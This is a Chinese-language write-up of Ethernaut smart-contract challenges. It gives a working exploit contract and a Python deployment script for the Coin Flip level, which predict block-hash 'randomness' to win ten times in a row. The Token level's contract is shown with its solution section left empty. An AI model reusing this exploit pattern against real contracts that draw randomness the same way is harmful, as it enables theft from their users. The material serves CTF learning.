Ethernaut 部分题目Writeup

前言

Ethernaut是新手入门以太坊智能合约安全的首选刷题平台,前半部分题目比较简单,都是一些基础操作,网上现成的Writeup也很多,但后半部分题目更具有代表性实际意义,值得详细分析和记录解题过程,这篇文章主要对这里面比较经典的题目进行分析讲解。

解题脚本依赖Poseidon_Blockchain,由于Ethernaut的题目合约Solidity版本只有0.6.0,而其内部引用的一些openzeppelin库版本已经更新到0.8.0以上,所以在解题时我会在不改变题目原意的情况下,适当修改题目合约代码中的solidity版本要求,以便能够题目合约能够顺利编译及实例化。

3.Coin Flip

题目详情

  • This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

解答

通关的条件是consecutiveWins的值大于等于10,而增加它的值的唯一办法是连续猜对随机结果10次。根据flip函数,blockValue的值是上一个区块的块哈希,若它除以FACTOR1sidetrue,余0sidefalse,我们输入的_guessside相等时代表猜对了。

这题体现出的是随机数漏洞,在链上要想获得真正的随机数是一件十分困难的事情(可以使用预言机,但过程也并不简便),以太坊区块链上的所有交易都是确定性的状态转换操作,每笔交易都会改变以太坊生态系统的全球状态,并且是以一种可计算的方式进行,这意味着它没有任何的不确定性更一般地说,在区块链生态系统内,不存在熵或随机性的来源。如果使用可以被矿工所控制的变量,如区块哈希值,时间戳,区块高低或是Gas上限等作为随机数的熵源,产生的随机数并不安全,因为其他人也可以获取到这些值,并根据同样的方法生成所谓的随机数,从而攻击那些不安全的合约函数。

综上分析,我们只需编写一个攻击合约,根据flip函数生成随机数的方法,提前计算出side的值,再在同一个区块内调用题目合约的flip函数,就能实现百猜百中。

微调后的题目合约CoinFlip.sol代码:

pragma solidity ^0.8.0;

import "./openzeppelin/contracts/utils/math/SafeMath.sol";

contract CoinFlip {
    using SafeMath for uint256;
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() public {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue.div(FACTOR);
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

攻击合约Hacker.sol代码:

pragma solidity ^0.8.0;

import "./CoinFlip.sol";

contract Hacker {
    using SafeMath for uint256;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() public {}

    function hack(address target) public {
        CoinFlip c = CoinFlip(target);
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue.div(FACTOR);
        bool side = coinFlip == 1 ? true : false;
        c.flip(side);
    }
}

解题脚本solve.py代码:

from Poseidon_Blockchain import *
from loguru import logger
import time

# 日志
logger.add('CoinFlip_{time}.log')

# 配置Solidity版本
Utils.SwitchSolidityVersion("0.8.0")

# 连接至链
chain = Chain("https://rinkeby.infura.io/v3/9aa3d95b3bc440fa88ea12eaa4456161")

# 使用私钥导入账户
account = Account(chain, "<Your Private Key>")

# 题目合约地址规范化
exerciseContractAddress = Web3.toChecksumAddress("<Exercise Contract Address>")

# 编译题目合约
abi, bytecode = Utils.CompileSolidityToABIAndBytecode("CoinFlip.sol", "CoinFlip")

# 实例化题目合约
exerciseContract = Contract(account, exerciseContractAddress, abi)

# 编译攻击合约
abi, bytecode = Utils.CompileSolidityToABIAndBytecode("Hacker.sol", "Hacker")

# 部署攻击合约
hackerAddress, hacker = account.DeployContractByEIP1559(abi, bytecode)

# 调用十次攻击合约
i = 0
while i < 10:
    try:
        temp = hacker.CallFunctionByEIP1559("hack", exerciseContractAddress)
        if temp[1] != 0:
            i += 1
    except:
        print("[Error]Waiting for next block.")
        time.sleep(5)

# 获取题目解出状态
exerciseContract.ReadOnlyCallFunction("consecutiveWins")

logger.success("Execution completed.")

脚本运行结果:

1

可以看到我们猜对的次数已经达到了10,到Ethernaut中提交即可。

2

5.Token

题目详情

  • The goal of this level is for you to hack the basic token contract below.You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

解答


暂无留言

发表留言